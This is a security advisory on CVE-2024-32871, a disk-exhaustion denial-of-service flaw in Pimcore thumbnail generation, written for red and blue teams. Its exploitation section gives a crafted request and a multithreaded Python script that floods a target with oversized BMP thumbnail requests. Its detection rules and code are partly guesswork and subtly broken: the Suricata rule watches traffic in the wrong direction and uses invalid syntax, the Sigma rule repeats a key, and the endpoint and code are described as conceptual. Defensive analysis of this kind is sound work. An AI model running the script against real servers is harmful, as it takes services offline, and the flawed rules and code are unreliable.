CVE-2024-32871

Executive Summary

CVE-2024-32871 is a high-severity resource exhaustion vulnerability in Pimcore, an open-source Data & Experience Management Platform. The vulnerability resides in the thumbnail generation functionality. By manipulating the file extension or scaling factor of a requested thumbnail, an unauthenticated attacker can cause the server to generate files significantly larger than the original source file. This can lead to a Denial of Service (DoS) condition by rapidly exhausting disk space and potentially CPU resources. The vulnerability has a CVSS score of 7.5 and is fixed in Pimcore version 11.2.4.

Supply Chain & Package Security

This vulnerability affects the Pimcore PHP application. Organizations using Pimcore should verify their version and apply the patch immediately. The risk is amplified in environments where Pimcore is exposed to the internet or untrusted networks.

CVSS Breakdown & Threat Level

• CVSS Score: 7.5 (High)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
• Attack Vector (AV): Network – The vulnerability can be exploited remotely.
• Attack Complexity (AC): Low – No special conditions are required.
• Privileges Required (PR): None – No authentication is needed.
• User Interaction (UI): None – The victim does not need to perform any action.
• Scope (S): Unchanged – The exploit cannot affect other components.
• Confidentiality (C): None – No data is exposed.
• Integrity (I): None – No data is modified.
• Availability (A): High – The primary impact is a denial of service.

Threat Level: High. The ease of exploitation and potential for significant resource exhaustion make this a critical concern for any Pimcore deployment.

Deep Dive & Mechanics

The vulnerability is rooted in how Pimcore processes thumbnail generation requests. The application allows users to request thumbnails of images by specifying parameters such as the file path, desired dimensions (scaling factor), and output format (file extension). The core issue is that the application does not properly validate or limit the size of the generated thumbnail relative to the original image.

An attacker can craft a request with a very large scaling factor (e.g., requesting a 10000x10000 pixel thumbnail from a 100x100 pixel image) or change the file extension to a less efficient format (e.g., from JPEG to BMP or TIFF). This forces the server to allocate memory and disk space to create a file that is orders of magnitude larger than the original. By sending multiple such requests in parallel, an attacker can quickly fill the server's disk, causing a denial of service.

The vulnerability is classified under CWE-400: Uncontrolled Resource Consumption ('Resource Exhaustion').

Vulnerable vs. Patched Code

The vulnerable code likely resides in the thumbnail generation controller or service. The exact fix in version 11.2.4 involves adding validation to limit the maximum dimensions and file size of generated thumbnails.

Vulnerable Code (Conceptual):

// Vulnerable: No size limit on generated thumbnail
public function generateThumbnailAction($imagePath, $width, $height, $format) {
    $image = new Image($imagePath);
    $thumbnail = $image->resize($width, $height);
    $thumbnail->save($format);
    // Return the thumbnail
}

Patched Code (Conceptual):

// Patched: Enforce maximum dimensions and file size
public function generateThumbnailAction($imagePath, $width, $height, $format) {
    $maxDimension = 2048; // Example limit
    $maxFileSize = 10 * 1024 * 1024; // 10 MB limit

    if ($width > $maxDimension || $height > $maxDimension) {
        throw new \Exception('Requested dimensions exceed maximum allowed.');
    }

    $image = new Image($imagePath);
    $thumbnail = $image->resize($width, $height);
    $thumbnail->save($format);

    if (filesize($thumbnail->getPath()) > $maxFileSize) {
        unlink($thumbnail->getPath());
        throw new \Exception('Generated thumbnail exceeds maximum file size.');
    }

    // Return the thumbnail
}

Exploitation & Lab Setup

Red Team (Adversarial Simulation)

Objective: Exhaust server resources (disk space) on a Pimcore instance.

Prerequisites:

• A target Pimcore instance (version < 11.2.4) with thumbnail generation enabled.
• A known image path on the server (e.g., /var/assets/images/test.jpg).

Exploit Steps:

1. Identify a valid image path. This can often be found by browsing the application or using directory enumeration.
2. Craft a malicious request. The request should specify a very large scaling factor and/or a less efficient format. For example:

   GET /admin/asset/thumbnail?id=123&width=10000&height=10000&format=bmp HTTP/1.1
   Host: target-pimcore.com
   

3. Automate the attack. Use a script to send multiple requests in parallel to accelerate resource exhaustion.

Example Python Script:

import requests
import threading

target = "http://target-pimcore.com"
image_id = "123"  # Replace with a valid asset ID
num_threads = 50

def send_malicious_request():
    url = f"{target}/admin/asset/thumbnail?id={image_id}&width=10000&height=10000&format=bmp"
    try:
        response = requests.get(url, timeout=10)
        print(f"Request sent, status: {response.status_code}")
    except Exception as e:
        print(f"Error: {e}")

threads = []
for _ in range(num_threads):
    t = threading.Thread(target=send_malicious_request)
    threads.append(t)
    t.start()

for t in threads:
    t.join()

Blue Team (Defensive Simulation)

Objective: Detect and mitigate the exploitation attempt.

Detection Steps:

1. Monitor Disk Usage: Set up alerts for rapid disk space consumption on the Pimcore server.
2. Analyze Web Logs: Look for requests to thumbnail generation endpoints with unusually large width/height parameters or uncommon file extensions (e.g., .bmp, .tiff).
3. Rate Limiting: Implement rate limiting on the thumbnail generation endpoint to prevent rapid requests.
4. Input Validation: Ensure that the application validates the requested dimensions and file format before processing.

Indicators of Compromise (IOCs)

• Network IOCs:

  • HTTP requests to /admin/asset/thumbnail or similar endpoints with parameters width and height exceeding 5000 pixels.
  • Requests with file extensions like .bmp, .tiff, or .png for thumbnails that are typically served as .jpg or .webp.
  • High volume of requests from a single IP address to the thumbnail generation endpoint.

• File System IOCs:

  • Unusually large files in the thumbnail cache directory (e.g., /var/www/pimcore/public/var/tmp/thumbnails/).
  • Files with names suggesting large dimensions (e.g., image_10000x10000.bmp).
  • Rapidly decreasing available disk space.

• Log IOCs:

  • PHP error logs showing memory exhaustion or file size limit errors.
  • Web server access logs with a high frequency of 200 OK responses for thumbnail requests with extreme parameters.

Detection Engineering

YARA Rule

rule Detect_Pimcore_Thumbnail_DoS_Exploit {
    meta:
        description = "Detects requests attempting to exploit CVE-2024-32871 by looking for large thumbnail dimensions in HTTP requests"
        author = "Valters IT"
        date = "2024-10-27"
        reference = "CVE-2024-32871"
        severity = "high"

    strings:
        $width_param = /[?&]width=[5-9][0-9]{3,}|[?&]width=[0-9]{5,}/ nocase
        $height_param = /[?&]height=[5-9][0-9]{3,}|[?&]height=[0-9]{5,}/ nocase
        $thumbnail_path = /\/admin\/asset\/thumbnail/ nocase
        $bmp_ext = /format=bmp/ nocase
        $tiff_ext = /format=tiff/ nocase

    condition:
        $thumbnail_path and ($width_param or $height_param) and ($bmp_ext or $tiff_ext)
}

Sigma Rule

title: Pimcore Thumbnail DoS Exploitation Attempt
id: 8a9b3c2d-1e5f-4a7b-8c9d-0e1f2a3b4c5d
status: experimental
description: Detects HTTP requests attempting to exploit CVE-2024-32871 by requesting thumbnails with excessive dimensions or inefficient formats.
author: Valters IT
date: 2024/10/27
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-32871
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-uri-query|contains:
            - '/admin/asset/thumbnail'
        cs-uri-query|re: '(width|height)=[5-9][0-9]{3,}|(width|height)=[0-9]{5,}'
        cs-uri-query|contains:
            - 'format=bmp'
            - 'format=tiff'
    condition: selection
falsepositives:
    - Legitimate use of large thumbnails for high-resolution displays (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"PIMCORE Thumbnail DoS Exploit (CVE-2024-32871)";
    flow:to_server,established;
    content:"/admin/asset/thumbnail"; http_uri;
    pcre:"/(width|height)=[5-9][0-9]{3,}|(width|height)=[0-9]{5,}/Ui";
    content:"format=bmp" or content:"format=tiff";
    classtype:attempted-dos;
    sid:10000001;
    rev:1;
    reference:cve,2024-32871;
)

Remediation & Mitigation

Immediate Actions:

1. Upgrade Pimcore: The most effective remediation is to upgrade to Pimcore version 11.2.4 or later.
2. Apply Virtual Patching: If an immediate upgrade is not possible, implement a Web Application Firewall (WAF) rule to block requests with suspiciously large thumbnail dimensions or inefficient file formats.
3. Restrict Access: Limit access to the thumbnail generation endpoint to authenticated users only, if possible.

Long-Term Mitigations:

1. Input Validation: Ensure that all user-supplied parameters (width, height, format) are strictly validated against a whitelist of allowed values.
2. Resource Limits: Configure PHP and web server limits (e.g., upload_max_filesize, post_max_size, memory_limit) to prevent resource exhaustion.
3. Rate Limiting: Implement rate limiting on resource-intensive endpoints like thumbnail generation.
4. Monitoring: Continuously monitor disk usage and web server logs for signs of exploitation.

Valters IT
Securing Digital Frontiers